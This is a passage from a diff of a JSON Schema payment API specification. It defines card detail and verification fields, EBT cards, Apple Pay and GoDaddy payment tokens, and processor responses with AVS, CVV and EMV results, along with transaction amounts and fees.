0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", "type": "string", - "maxLength": 256 + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } - } + }, + "type": "object", + "writeOnly": true } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents capture transaction against a payment", - "properties": { - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - }, - "readOnly": true, - "description": "Captures for the payment" - }, - "sales": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Sale Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "title": "Card VerificationData", + "type": "object" }, - "required": [ - "amount", - "currency" - ] + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "type": { + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } }, - "required": [ - "amount", - "type" - ] + "title": "Card VerificationData", + "type": "object" }, { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } }, - "required": [ - "amount", - "type", - "signature" - ] + "title": "Token VerificationData", + "type": "object" } ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" + "type": { + "description": "Discriminator type", + "type": "string" } }, "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - 